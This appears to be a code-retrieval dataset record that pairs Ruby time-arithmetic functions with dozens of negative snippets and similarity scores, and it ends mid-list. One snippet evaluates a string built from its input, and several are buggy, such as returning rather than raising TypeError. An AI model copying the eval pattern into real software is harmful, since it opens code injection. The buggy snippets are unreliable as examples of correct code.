"def +(other)\n return TypeError, 'Not one of: [Duration, #to_nanos]' unless other.respond_to?(:to_nanos)\n\n Instant.new(@ns + other.to_nanos)\n end",
"def initialize(timeOrDateTime)\n @time = nil\n @datetime = nil\n @timestamp = nil\n \n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n \n # Avoid using the slower Rational class unless necessary.\n nsec = RubyCoreSupport.time_nsec(@time)\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n \n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? \n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0\n @orig = @datetime\n else\n @timestamp = timeOrDateTime.to_i\n \n if !RubyCoreSupport.time_supports_64bit && (@timestamp > 2147483647 || @timestamp < -2147483648 || (@timestamp < 0 && !RubyCoreSupport.time_supports_negative))\n raise RangeError, 'Timestamp is outside the supported range of Time on this platform'\n end\n \n @orig = @timestamp\n end\n end",
"def add_seconds!(float_sec)\n # add timeout in seconds to abs_timeout; careful with rounding\n sec = float_sec.floor\n nsec = ((float_sec - sec) * NS_PER_S).floor\n\n self[:tv_sec] += sec\n self[:tv_nsec] += nsec\n while self[:tv_nsec] > TV_NSEC_MAX\n self[:tv_sec] += 1\n self[:tv_nsec] -= NS_PER_S\n end\n end",
"def add_to_date_time_value(date_time_value) #:nodoc:\n raise ArgumentError.new(\"Cannot add #{date_time_value} to #{self}\")\n end",
"def since(seconds)\n # This is basically a wrapper around the Numeric extension.\n #seconds.since(self)\n self + seconds\n end",
"def create_time(time)\n unless time['duration'].is_a? Integer\n duration = duration_to_seconds(time['duration'])\n time['duration'] = duration\n\n # Duration at this point contains an error_msg if it's not an int\n return duration unless time['duration'].is_a? Integer\n end\n\n if time['duration'] < 0\n return Hash[@error => 'time object: duration cannot be negative']\n end\n\n create_or_update(time, nil, 'time', 'times')\n end",
"def addTime(hour, min, sec)\n addSec(sec) ;\n addMin(min) ;\n addHour(hour) ;\n end",
"def plus_with_duration(other)\n if other.is_a?(Volt::Duration)\n end\n end",
"def update_time(time, uuid)\n if time.key?('duration')\n unless time['duration'].is_a? Integer\n duration = duration_to_seconds(time['duration'])\n time['duration'] = duration\n\n # Duration at this point contains an error_msg if not an int\n return duration unless time['duration'].is_a? Integer\n end\n\n if time['duration'] < 0\n return Hash[@error => 'time object: duration cannot be negative']\n end\n\n end\n create_or_update(time, uuid, 'time', 'times', false)\n end",
"def +(o)\n offset = Time.now.utc_offset\n case o\n when Integer then\n if @_utc then\n return Time.at(@tv_sec + o, @tv_usec).utc\n else\n return Time.at(@tv_sec + o, @tv_usec)\n end\n when Float then\n s, u = o.divmod(1.0)\n if @_utc then\n return Time.at(@tv_sec + s, @tv_usec + (u * 1e6).to_i).utc\n else\n return Time.at(@tv_sec + s, @tv_usec + (u * 1e6).to_i)\n end\n else\n raise \"wtf?: #{t.inspect}:#{t.class}\"\n end\n end",
"def start_time=(value)\n if value.is_a?(Time) || value.is_a?(DateTime)\n @start_time = value.to_time\n else\n raise TypeError, \"A Duration's start_time must be a Time or DateTime object.\"\n end\n end",
"def start_time=(value)\n if value.is_a?(Time) || value.is_a?(DateTime)\n @start_time = value.to_time\n else\n raise TypeError, \"A Duration's start_time must be a Time or DateTime object.\"\n end\n end",
"def add(timeobj, val)\n \tsuper normalize_time_input(timeobj),val \n end",
"def set_time_as_datetime(options)\n options[:type] = DateTime if options[:type] == Time\n end",
"def lazy_sec=(newsec)\n newsec = newsec.to_i\n \n if newsec > 60 or newsec < 0\n mins = (newsec.to_f / 60.0).floor\n newsec -= (mins * 60)\n self.add_mins(mins)\n end\n \n @t_sec = newsec\n end",
"def seconds_to_time(seconds, options = {})\n SecondsToTime.convert(seconds, options)\n end",
"def convert_to_time(obj)\n case\n when obj.respond_to?(:seconds)\n obj.seconds >= MINIMUM_SECONDS && obj.seconds <= MAXIMUM_SECONDS ? make_time( obj.seconds ) : nil\n when obj.instance_of?(Time)\n make_time( obj.hour.hours + obj.min.minutes + obj.sec.seconds )\n else\n nil\n end\n end",
"def -(seconds)\n self + (-seconds)\n end",
"def -(seconds)\n self + (-seconds)\n end",
"def -(seconds)\n self + (-seconds)\n end",
"def +(other)\n if duration_of_variable_length?(other)\n method_missing(:+, other)\n else\n result = utc.acts_like?(:date) ? utc.since(other) : utc + other rescue utc.since(other)\n result.in_time_zone(time_zone)\n end\n end",
"def time_To_Seconds(time)\n if time.is_a? Integer then return time else return DateTime.parse(time).to_time.to_i end\n end",
"def seconds=(new_seconds)\n\t\t@seconds = new_seconds\n\tend",
"def addSec(sec)\n @sec += sec ;\n return self ;\n end",
"def quantity_of_seconds(time)\n time.hour * 60 + time.minute * 60 + time.second + time.second_fraction\nend",
"def add(element, new_time)\n @add_set[element] = new_time.to_i\n self\n end",
"def sec\n if @time\n @time.sec\n elsif @datetime\n @datetime.sec\n else\n to_time.sec\n end\n end",
"def sec\n if @time\n @time.sec\n elsif @datetime\n @datetime.sec\n else\n to_time.sec\n end\n end",
"def sec\n if @time\n @time.sec\n elsif @datetime\n @datetime.sec\n else\n to_time.sec\n end\n end",
"def +(obj)\n case obj\n when DateTime\n obj + (Rational === @val ? @val/86400 : @val/86400.0)\n when Time\n obj + @val\n else\n super\n end\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||\n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.respond_to?(:to_i)\n\n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n\n orig = timeOrDateTime.to_orig\n\n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason\n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def -(seconds)\n self + -seconds\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) || \n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.respond_to?(:to_i)\n \n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n \n orig = timeOrDateTime.to_orig\n \n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason \n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def add_time(safebox, value, time_unit)\n raise SendSecureException.new(\"SafeBox GUID cannot be null\") if safebox.guid == nil\n raise SendSecureException.new(\"Invalid time unit\") unless SafeBox::TIME_UNIT.values.include?(time_unit)\n add_time_params = { \"safebox\": { \"add_time_value\": value, \"add_time_unit\": time_unit }}.to_json\n result = @json_client.add_time(safebox.guid, add_time_params)\n safebox.expiration = result.delete(\"new_expiration\")\n result\n end",
"def initialize(timeOrDateTime, ignore_offset = true)\n @time = nil\n @datetime = nil\n @timestamp = nil\n\n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n\n # Avoid using the slower Rational class unless necessary.\n nsec = @time.nsec\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n\n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? || !ignore_offset\n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0 || !ignore_offset\n @orig = @datetime\n else\n @timestamp = timeOrDateTime.to_i\n @orig = @timestamp\n end\n end",
"def shift(*time_units)\n time_hash = Hash===time_units.last ? time_units.pop : {}\n time_units = time_units.flatten\n time_units << :seconds if time_units.size % 2 == 1\n time_hash.each{ |units, number| time_units << number; time_units << units }\n\n time = self\n time_units.each_slice(2) do |number, units|\n #next time = time.ago(-number, units) if number < 0\n time = (\n case units.to_s.downcase.to_sym\n when :years, :year\n time.set( :year=>(year + number) )\n when :months, :month\n if number > 0\n new_month = ((month + number - 1) % 12) + 1\n y = (number / 12) + (new_month < month ? 1 : 0)\n time.set(:year => (year + y), :month => new_month)\n else\n number = -number\n new_month = ((month - number - 1) % 12) + 1\n y = (number / 12) + (new_month > month ? 1 : 0)\n time.set(:year => (year - y), :month => new_month)\n end\n when :weeks, :week\n time + (number * 604800)\n when :days, :day\n time + (number * 86400)\n when :hours, :hour\n time + (number * 3600)\n when :minutes, :minute, :mins, :min\n time + (number * 60)\n when :seconds, :second, :secs, :sec, nil\n time + number\n else\n raise ArgumentError, \"unrecognized time units -- #{units}\"\n end\n )\n end\n dst_adjustment(time)\n end",
"def from_now(t = Time.now); t + self; end",
"def from_now(t = Time.now); t + self; end",
"def *(other)\n return Times.new(self, other)\n end",
"def time_cap=(time_cap)\n if time_cap.include? ':'\n minutes, seconds = time_cap.split(':', 2)\n time_in_seconds = (minutes.to_i.minute + seconds.to_i.second).second\n self.time_cap_seconds = time_in_seconds\n else\n self.time_cap_seconds = time_cap\n end\n end",
"def add_section_time\n orderDate = self.orderDate\n sectionTime = self.section.startTime\n self.orderDate = DateTime.new(orderDate.year, orderDate.month, orderDate.day, sectionTime.hour, sectionTime.min)\n end",
"def typecast_value_time(value)\n case value\n when Time\n if value.is_a?(SQLTime)\n value\n else\n # specifically check for nsec == 0 value to work around JRuby 1.6 ruby 1.9 mode bug\n SQLTime.create(value.hour, value.min, value.sec, (value.respond_to?(:nsec) && value.nsec != 0) ? value.nsec/1000.0 : value.usec)\n end\n when String\n Sequel.string_to_time(value)\n when Hash\n SQLTime.create(*[:hour, :minute, :second].map{|x| (value[x] || value[x.to_s]).to_i})\n else\n raise Sequel::InvalidValue, \"invalid value for Time: #{value.inspect}\"\n end\n end",
"def since(time)\n case time\n when Date, Time, DateTime then time + self\n else raise ArgumentError.new('#since takes a Time-like')\n end\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||\n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.is_a?(TimestampWithOffset) ||\n timeOrDateTime.respond_to?(:to_i)\n\n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n\n orig = timeOrDateTime.to_orig\n\n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason\n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n elsif @orig.is_a?(TimestampWithOffset) || orig.is_a?(TimestampWithOffset)\n to_timestamp_with_offset.timestamp <=> timeOrDateTime.to_timestamp_with_offset.timestamp\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def +(duration)\n duration.add_to_date_time_value(self)\n end",
"def test_datetime_plus_number()\n sec_delta = 5 # Between 0 and 49\n min_delta = 10 # Between 0 and 29\n hour_delta = 1 # Between 0 and 42\n day_delta = 3 # Between 0 and 23\n datetime = @ad_manager.datetime(\n 2017, 11, 7, 17, 30, 10, 'America/New_York'\n )\n datetime = datetime + sec_delta + min_delta * 60 + hour_delta * 60 * 60 +\n day_delta * 60 * 60 * 24\n assert_equal(2017, datetime.year)\n assert_equal(11, datetime.month)\n assert_equal(7 + day_delta, datetime.day)\n assert_equal(17 + hour_delta, datetime.hour)\n assert_equal(30 + min_delta, datetime.min)\n assert_equal(10 + sec_delta, datetime.sec)\n assert_equal('America/New_York', datetime.timezone.identifier)\n assert_equal(-18000, datetime.utc_offset)\n assert_true(datetime.is_a? AdManagerApi::AdManagerDateTime)\n end",
"def make_time(stime)\n stime.gsub!(/\\s+and\\s+/, \"+\")\n stime.gsub!(/\\s+/, \".\")\n stime = \"(\" + stime\n stime += \").seconds.from_now\"\n t = Thread.new do\n $SAFE = 1\n eval(stime.untaint)\n end\n t.value\n end",
"def make_time(seconds)\n Time.at( seconds ).utc\n end",
"def set_time(time)\n @time = time.getutc\n return self\n end",
"def seconds\n (hour * 60 * 60) + (min * 60)\n end",
"def +(minutes)\n @hours += minutes / 60\n @minutes += minutes % 60\n self # Return a reference to the Clock class to allow for method chaining\n end",
"def as_seconds(time_value)\n time_value.round\n end",
"def test_time_truncate_usec_on_assigment_precision_3\n time = Time.parse('2018-12-31T23:59:21.341867')\n record = DateAndTimeTypes.new(my_time_one: time)\n\n assert_equal 23, record.my_time_one.hour\n assert_equal 59, record.my_time_one.min\n assert_equal 21, record.my_time_one.sec\n assert_equal 341_000, record.my_time_one.usec\n assert_equal 341_000_000, record.my_time_one.nsec\n end",
"def true_time( time_object )\n hours_to_sec = time_object.utc.hour * 60 * 60\n minutes_to_sec = time_object.utc.min * 60\n sec_to_sec = time_object.utc.sec\n hours_to_sec + minutes_to_sec + sec_to_sec\n end",
"def time_in_seconds(time_str)\n dt_tm_hash = time_details(time_str)\n curr_time = Time.now\n\n # Basic time variables\n future_year = curr_time.year + dt_tm_hash[:year].to_i\n future_month = curr_time.month + dt_tm_hash[:month].to_i\n future_day = curr_time.day + dt_tm_hash[:day].to_i\n future_hr = curr_time.hour + dt_tm_hash[:hour].to_i\n future_min = curr_time.min + dt_tm_hash[:min].to_i\n future_sec = curr_time.sec + dt_tm_hash[:sec].to_i\n\n # 'extra value' calculations for these time variables\n future_sec, future_min = extra_time(future_sec, future_min, 60)\n future_min, future_hr = extra_time(future_min, future_hr, 60)\n future_hr, future_day = extra_time(future_hr, future_day, 24)\n\n # explicit method to calculate overloaded days;\n # They may stretch upto years; heance leap year & months are into consideration\n future_day, future_month, future_year = extra_days(future_day, future_month, future_year, curr_time.month, curr_time.year)\n\n future_month, future_year = extra_months(future_month, future_year, curr_time.month, curr_time.year)\n\n future_time = Time.new(future_year, future_month, future_day, future_hr, future_min, future_sec)\n\n # Difference in time will return seconds\n future_time.to_i - curr_time.to_i\n end",
"def sec=(newsec)\n newsec = newsec.to_i\n raise ArgumentError, \"Invalid second: '#{newsec}'.\" if newsec < 0 or newsec > 60\n @t_sec = newsec.to_i\n end",
"def time_s=(time)\n self.time = s_to_time(time)\n end",
"def since(time = ::Time.now)\n time + self\n end",
"def add value, time, attachments: nil\n @time = time\n @value += 1\n end",
"def with_second(second)\n LocalTime.of(@hour, @minute, second, @millis)\n end",
"def increment_time\n @time = @time + 1\n end",
"def +( other )\n case( other )\n when TimeDelta\n JDate.new( self.time + other.msecs )\n when Numeric\n JDate.new( self.time + ( other * 1000 ).to_i )\n else\n raise TypeError, \"Can't add #{other.class} to JDate\"\n end\n end",
"def endTimeFrom(bTime)\n return bTime + @sec ;\n end",
"def setTime(hour, min, sec)\n setSec(sec) ;\n addMin(min) ;\n addHour(hour) ;\n end",
"def start_time_in_seconds\n @start_time_in_seconds ||= seconds_from_time(start_time)\n end",
"def step(time)\n warn %(Timer step must be >= 0, but #{time} was given!) unless time >= 0\n @now += time\n end",
"def time=(new_time)\n @time = new_time\n end",
"def at(secs, usecs = 0)\n VoltTime.new.set_time(::Time.at(secs, usecs))\n end",
"def merge_date_time date, time\n DateTime.new(date.year, date.month, date.day, time.hour, time.min, time.sec)\n end",
"def for value\n if value.is_a? Numeric\n Time.at value\n elsif value.respond_to? :to_s\n Time.parse value.to_s\n else\n value.to_time\n end\n rescue Exception\n raise ArgumentError, \"unable to convert #{value.inspect} to a Time object\"\n end",
"def -(seconds)\n TzTime.new(time - seconds, @zone)\n end",
"def + duration\n if duration.is_a? MTK::Core::Duration\n MTK::Core::Duration[@value + duration.value]\n else\n MTK::Core::Duration[@value + duration]\n end\n end",
"def slide(seconds)\n self.class.new(beginning + seconds, ending + seconds, exclude_end?)\n end",
"def get_seconds_from_time(time)\n times = time.split(':')\n return Integer(times[0]) * 60 * 60 + Integer(times[1]) * 60 + Integer(times[2])\n end",
"def advance_hours(hours)\n self + (hours * 60 * 60)\n end",
"def initialize(timeOrDateTime, ignore_offset = true)\n @time = nil\n @datetime = nil\n @timestamp = nil\n @timestamp_with_offset = nil\n\n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n\n # Avoid using the slower Rational class unless necessary.\n nsec = @time.nsec\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n\n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? || !ignore_offset\n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0 || !ignore_offset\n @orig = @datetime\n elsif timeOrDateTime.is_a?(TimestampWithOffset)\n @timestamp_with_offset = timeOrDateTime\n\n # The timestamp is always in UTC. To ignore the offset, a local\n # timestamp is created by adding the offset to the timestamp.\n @timestamp_with_offset = TimestampWithOffset.new(@timestamp_with_offset.timestamp + @timestamp_with_offset.utc_offset, 0) unless @timestamp_with_offset.utc_offset == 0 || !ignore_offset\n\n @orig = @timestamp_with_offset\n else\n @timestamp = timeOrDateTime.to_i\n @orig = @timestamp\n end\n end",
"def time_wrap(obj)\n obj.kind_of?(String) ? Time.parse(obj) : obj\n end",
"def addtime\n \n end",
"def tick(seconds)\n\t\t@time += seconds\n\tend",
"def time(value)\n _parse_time(value)\n end",
"def in_seconds\n @seconds\n end",
"def bind_time(i, value)\n case value\n when Time\n time = value\n else\n begin\n time = Time.parse(value)\n rescue => e\n raise(ArgumentError, \"Cannot parse argument value to time. #{e.message}\")\n end\n end\n\n _bind_time(i, time.hour, time.min, time.sec, time.usec)\n end"
] |
[
"0.7666559",
"0.71088904",
"0.6741678",
"0.6595366",
"0.6344636",
"0.6186966",
"0.6068617",
"0.6062155",
"0.6021938",
"0.59858453",
"0.5903138",
"0.5889501",
"0.5841004",
"0.5743455",
"0.5622994",
"0.56135064",
"0.5591005",
"0.5488915",
"0.5485516",
"0.5482653",
"0.5451686",
"0.5434594",
"0.5414602",
"0.54022795",
"0.5322428",
"0.53027993",
"0.5240602",
"0.5180008",
"0.5180008",
"0.5172524",
"0.5167144",
"0.51312536",
"0.51204455",
"0.5096952",
"0.5084568",
"0.5084568",
"0.5084568",
"0.50840473",
"0.506533",
"0.5012547",
"0.49982518",
"0.49798092",
"0.4937362",
"0.4915029",
"0.4915029",
"0.4915029",
"0.4914514",
"0.4913515",
"0.48990172",
"0.48918292",
"0.48893064",
"0.48787668",
"0.48716292",
"0.4870486",
"0.4870486",
"0.48680112",
"0.48638907",
"0.48577115",
"0.48524866",
"0.48485488",
"0.48418877",
"0.48348123",
"0.4834176",
"0.4802703",
"0.4800336",
"0.47967654",
"0.4786822",
"0.47767097",
"0.4774756",
"0.47732228",
"0.47642398",
"0.47470346",
"0.47425848",
"0.47296825",
"0.47269854",
"0.47213137",
"0.47106513",
"0.4702474",
"0.46997195",
"0.4693262",
"0.46647036",
"0.46642107",
"0.46640036",
"0.46374452",
"0.46362108",
"0.4635344",
"0.4629977",
"0.46269917",
"0.4621712",
"0.46086654",
"0.4607299",
"0.45958507",
"0.45874387",
"0.4577653",
"0.45679033",
"0.45600468",
"0.45528257",
"0.4547748",
"0.4546496"
] |
0.77803224
|
1
|
Subtracts a number of seconds from the TimeOrDateTime. Returns a new TimeOrDateTime, preserving what the original constructed type was. If the original type is a Time and the resulting calculation goes out of range for Times, then an exception will be raised by the Time class.
|
def -(seconds)
self + (-seconds)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def -(seconds)\n TzTime.new(time - seconds, @zone)\n end",
"def -(other)\n if other.acts_like?(:time)\n to_time - other.to_time\n elsif duration_of_variable_length?(other)\n method_missing(:-, other)\n else\n result = utc.acts_like?(:date) ? utc.ago(other) : utc - other rescue utc.ago(other)\n result.in_time_zone(time_zone)\n end\n end",
"def minus_with_coercion(other)\n other = other.comparable_time if other.respond_to?(:comparable_time)\n other.is_a?(DateTime) ? to_f - other.to_f : minus_without_coercion(other)\n end",
"def -(arg)\n case arg\n when Time\n @time - arg\n when Timestamp\n @time - arg.time\n when Integer\n Timestamp.new(@time - arg, nil)\n when NilClass\n raise TypeError, \"can't convert nil into an exact number\"\n else\n raise ArgumentError, arg\n end\n end",
"def subtract_from_date_time_value(dtvalue) #:nodoc:\n RiCal::PropertyValue::Duration.from_datetimes(timezone_finder, to_datetime,dtvalue.to_datetime)\n end",
"def -( other )\n case( other )\n when JDate\n TimeDelta.new( self.time - other.time )\n when TimeDelta\n JDate.new( self.time - other.msecs )\n when Numeric\n JDate.new( self.time - ( other * 1000 ).to_i )\n when Time\n TimeDelta.new( self.time -\n ( ( other.to_i * 1000 ) + other.usec / 1000 ) )\n else\n raise TypeError, \"Can't subract #{other.class} from JDate\"\n end\n end",
"def -(other)\n ((@time - other.time) / SECONDS_IN_A_DAY).to_i\n end",
"def -(o)\n case o\n when Fixnum, Bignum, Float then\n return self + -o\n when Time\n return self.to_f - o.to_f\n else\n raise \"wtf?:\" + t.inspect + \": \" + t.class\n end\n end",
"def ago(seconds)\n to_time.since(-seconds)\n end",
"def -(other)\n other_time = Time.strptime(other.to_s, '%H:%M:%S.%N', BaseDate.new.val)\n self_time = Time.strptime(to_s, '%H:%M:%S.%N', BaseDate.new.val)\n convert_to(self_time - other_time)\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||\n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.respond_to?(:to_i)\n\n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n\n orig = timeOrDateTime.to_orig\n\n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason\n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def initialize(timeOrDateTime)\n @time = nil\n @datetime = nil\n @timestamp = nil\n \n if timeOrDateTime.is_a?(Time)\n @time = timeOrDateTime\n \n # Avoid using the slower Rational class unless necessary.\n nsec = RubyCoreSupport.time_nsec(@time)\n usec = nsec % 1000 == 0 ? nsec / 1000 : Rational(nsec, 1000)\n \n @time = Time.utc(@time.year, @time.mon, @time.mday, @time.hour, @time.min, @time.sec, usec) unless @time.utc? \n @orig = @time\n elsif timeOrDateTime.is_a?(DateTime)\n @datetime = timeOrDateTime\n @datetime = @datetime.new_offset(0) unless @datetime.offset == 0\n @orig = @datetime\n else\n @timestamp = timeOrDateTime.to_i\n \n if !RubyCoreSupport.time_supports_64bit && (@timestamp > 2147483647 || @timestamp < -2147483648 || (@timestamp < 0 && !RubyCoreSupport.time_supports_negative))\n raise RangeError, 'Timestamp is outside the supported range of Time on this platform'\n end\n \n @orig = @timestamp\n end\n end",
"def -(other)\n other.subtract_from_date_time_value(self)\n end",
"def -(seconds)\n self + -seconds\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) || \n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.respond_to?(:to_i)\n \n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n \n orig = timeOrDateTime.to_orig\n \n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason \n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def seconds_to(some_ebay_time)\n some_ebay_time - time\n end",
"def <=>(timeOrDateTime)\n return nil unless timeOrDateTime.is_a?(TimeOrDateTime) ||\n timeOrDateTime.is_a?(Time) ||\n timeOrDateTime.is_a?(DateTime) ||\n timeOrDateTime.is_a?(TimestampWithOffset) ||\n timeOrDateTime.respond_to?(:to_i)\n\n unless timeOrDateTime.is_a?(TimeOrDateTime)\n timeOrDateTime = TimeOrDateTime.wrap(timeOrDateTime)\n end\n\n orig = timeOrDateTime.to_orig\n\n if @orig.is_a?(DateTime) || orig.is_a?(DateTime)\n # If either is a DateTime, assume it is there for a reason\n # (i.e. for its larger range of acceptable values on 32-bit systems).\n to_datetime <=> timeOrDateTime.to_datetime\n elsif @orig.is_a?(Time) || orig.is_a?(Time)\n to_time <=> timeOrDateTime.to_time\n elsif @orig.is_a?(TimestampWithOffset) || orig.is_a?(TimestampWithOffset)\n to_timestamp_with_offset.timestamp <=> timeOrDateTime.to_timestamp_with_offset.timestamp\n else\n to_i <=> timeOrDateTime.to_i\n end\n end",
"def +(seconds)\n if seconds == 0\n self\n else\n if @orig.is_a?(DateTime)\n TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))\n else\n # + defined for Time and Integer\n TimeOrDateTime.new(@orig + seconds)\n end\n end\n end",
"def +(seconds)\n if seconds == 0\n self\n else\n if @orig.is_a?(DateTime)\n TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))\n else\n # + defined for Time and Integer\n TimeOrDateTime.new(@orig + seconds)\n end\n end\n end",
"def -(value)\n if value.is_a?(self.class)\n self.class.new(@minutes - value.to_i)\n else\n self.class.new(@minutes - check_arguments(value))\n end\n end",
"def test_datetime_minus_number()\n sec_delta = 5 # Between 0 and 10\n min_delta = 10 # Between 0 and 30\n hour_delta = 1 # Between 0 and 17\n day_delta = 3 # Between 0 and 6\n datetime = @ad_manager.datetime(\n 2017, 11, 7, 17, 30, 10, 'America/New_York'\n )\n datetime = datetime - sec_delta - min_delta * 60 - hour_delta * 60 * 60 -\n day_delta * 60 * 60 * 24\n assert_equal(2017, datetime.year)\n assert_equal(11, datetime.month)\n assert_equal(7 - day_delta, datetime.day)\n assert_equal(17 - hour_delta, datetime.hour)\n assert_equal(30 - min_delta, datetime.min)\n assert_equal(10 - sec_delta, datetime.sec)\n assert_equal('America/New_York', datetime.timezone.identifier)\n assert_equal(-18000, datetime.utc_offset)\n assert_true(datetime.is_a? AdManagerApi::AdManagerDateTime)\n end",
"def convert_to_time(obj)\n case\n when obj.respond_to?(:seconds)\n obj.seconds >= MINIMUM_SECONDS && obj.seconds <= MAXIMUM_SECONDS ? make_time( obj.seconds ) : nil\n when obj.instance_of?(Time)\n make_time( obj.hour.hours + obj.min.minutes + obj.sec.seconds )\n else\n nil\n end\n end",
"def round_off(seconds = 60)\n Time.at((self.to_f / seconds).round * seconds)\n end",
"def +(seconds)\n if seconds == 0\n self\n else\n if @orig.is_a?(DateTime)\n TimeOrDateTime.new(@orig + OffsetRationals.rational_for_offset(seconds))\n else\n # + is defined for Time, TimestampWithOffset and Integer.\n TimeOrDateTime.new(@orig + seconds)\n end\n end\n end",
"def sec\n if @time\n @time.sec\n elsif @datetime\n @datetime.sec\n else\n to_time.sec\n end\n end",
"def sec\n if @time\n @time.sec\n elsif @datetime\n @datetime.sec\n else\n to_time.sec\n end\n end",
"def sec\n if @time\n @time.sec\n elsif @datetime\n @datetime.sec\n else\n to_time.sec\n end\n end",
"def since(seconds)\n self + seconds\n rescue\n to_datetime.since(seconds)\n end",
"def time_To_Seconds(time)\n if time.is_a? Integer then return time else return DateTime.parse(time).to_time.to_i end\n end",
"def ago(seconds)\n # This is basically a wrapper around the Numeric extension.\n #seconds.until(self)\n self - seconds\n end",
"def ago(time = ::Time.now)\n time - self\n end",
"def remove_time\n ticket_time = [self.ticket.actual_time - self.time, 0].max\n self.ticket.update_column :actual_time, ticket_time\n end",
"def slice(other)\n fail TypeError unless like_duration?(other)\n return nil unless overlap?(other)\n s_time = @start_time < other.start_time ? other.start_time : @start_time\n e_time = other.end_time < @end_time ? other.end_time : @end_time\n Duration.new(s_time, e_time)\n end",
"def contact_time(time)\n return '' if !time.is_a?(Time) and !(Float Integer).include?(time_offset.class)\n time - time_offset\n rescue\n time\n end",
"def -(seconds); end",
"def since(seconds)\n VoltTime.new.set_time(@time + seconds)\n end",
"def since(seconds)\n to_time.since(seconds)\n end",
"def inverse_time!\n tmp = @start_time\n @start_time = @end_time\n @end_time = tmp\n self\n end",
"def seconds(num)\n t = current_time + num\n {\n type: :datetime,\n value: t.iso8601\n }\n end",
